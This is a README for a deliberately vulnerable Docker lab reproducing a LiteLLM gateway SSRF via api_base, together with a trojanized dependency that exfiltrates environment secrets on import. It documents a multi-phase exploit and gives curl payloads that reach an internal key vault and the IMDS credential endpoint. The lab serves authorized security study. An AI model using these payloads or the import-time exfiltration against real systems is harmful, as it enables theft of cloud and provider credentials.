
Deliberately vulnerable Docker lab reproducing CVE-2026-33634: LiteLLM gateway SSRF via api_base plus a trojanized dependency, with a multi-phase exploit for credential theft.
api_base (PoC / Lab)⚠️ Deliberately vulnerable lab, for educational and authorized use only. Run it only on your machine, against the containers in this repository. Read SECURITY-NOTES.md before starting.
🚫 NEVER run this lab on a cloud VM or a shared machine. The gateway has deliberately unrestricted SSRF: if there is a real IMDS (
169.254.169.254) or sensitive services on loopback/the LAN, the SSRF will actually reach them. Ports are published only on127.0.0.1; keep it that way. Use an isolated/disposable host.
CVSS 9.4 (critical). Supply chain compromise of the LiteLLM gateway
(March/2026): a malicious dependency in a gateway lib exposed the
entire portfolio of AI provider credentials. The recurring pattern of
this layer shows up alongside it: OpenAI key in the proxy and SSRF in the
api_base parameter. This lab reproduces both flaws and chains them into an exploit.
litellm-telemetry-helper (in malicious-dep/) simulates the
compromised transitive dependency. In the incident narrative, a weak pin
(>=0.9.6) would have let the resolver pull the malicious version 0.9.7 instead
of the clean 0.9.6. The payload fires on import (it is enough for the gateway to resolve the
dependency) and, in a background thread, exfiltrates the entire environment
(OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) to an attacker collector — silently, without breaking
the application.
api_baseThe proxy (gateway/app.py) accepts api_base (the provider's base_url)
coming from the caller, without an allowlist. The attacker controls where the
gateway makes requests, and the gateway also:
Authorization header, andWith this you can: reach internal services (/admin/keys), steal
cloud credentials from the IMDS (169.254.169.254), port-scan the internal
network, and leak every provider's key by pointing api_base back
to the attacker.
HOST (you / attacker)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── docker network "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway │
│ • /beacon (exfil from malicious dep) │ (litellm │
│ • /collect (key leaked via SSRF) │ :4000) │
│ • /oob (blind SSRF confirmation) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (NOT published) ◄───────┤ │
│ imds.lab:80 /latest/... (NOT published) ◄───────┤ │
│ provider-mock.lab:9100 ("normal" upstream) ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab and imds.lab have no published port — only the gateway's
SSRF can reach them. That is the whole point of the lab.
Prerequisites: Docker + Docker Compose v2, and Python 3.9+ with httpx for the exploit.
cd CVE-2026-33634
# 1) bring up the lab (gateway :4000, collector :8080)
docker compose up -d --build # or: make up
# 2) install the exploit requirement
python3 -m pip install -r exploit/requirements.txt
# 3) run the full exploit
python3 exploit/exploit.py # or: make exploit
Run isolated phases:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # only steals the internal vault
python3 exploit/exploit.py --only cloud # only steals cloud credentials
python3 exploit/exploit.py --only keyleak # only leaks provider keys
python3 exploit/exploit.py --only supplychain # only checks the dep beacon
The full loot is saved to loot.json. Watch the attacker receiving the data:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# arbitrary read: internal vault via SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# cloud credentials via SSRF to the IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
| Phase | Technique |
|---|---|
recon | Gateway fingerprinting; enumerates models/providers; detects the api_base sink. |
ssrf | Confirms the SSRF blindly (out-of-band): forces a callback with a unique token to the collector. |
scan | Port-scan of the internal network through the gateway (concurrent). |
internal | SSRF → internal.lab/admin/keys: exfiltrates the entire credentials vault. |
cloud | SSRF → IMDS: steals temporary STS credentials of the instance role. |
keyleak | Points api_base at the attacker; the gateway leaks every provider's key in the Authorization header. |
supplychain | Reads the loot: the trojanized dep has already exfiltrated the environment on import. |
report | Consolidates the impact and writes loot.json. |
This lab prioritizes didactic clarity and reproducibility. Where it abstracts the real incident, it is on purpose — and it is worth knowing the differences:
import litellm_telemetry_helper explicitly, instead of the package being a
transitive dependency hidden in the real litellm tree. The effect
(payload on import) is identical; the resolution chain has been shortened.>=0.9.6 is the
narrative (commented line in gateway/requirements.txt); in the lab the dep is
installed from ./malicious-dep via the Dockerfile — there is no PyPI index resolving
0.9.7 over 0.9.6. To exercise resolution for real, bring up a local
index (pypiserver/devpi) with both versions.api_base vector, the lab uses the URL verbatim
when there is an explicit path (to demonstrate reading /admin/keys and the IMDS
in a single parameter). On the OpenAI-compatible path, the real LiteLLM concatenates
a fixed suffix (/chat/completions) and does a POST — control is usually over the
host (key leak, SSRF by host) and the arbitrary path shows up in
passthrough/health routes. The demonstrated impact (portfolio leak + internal/cloud
pivot) is faithful; the exact URL construction is simplified.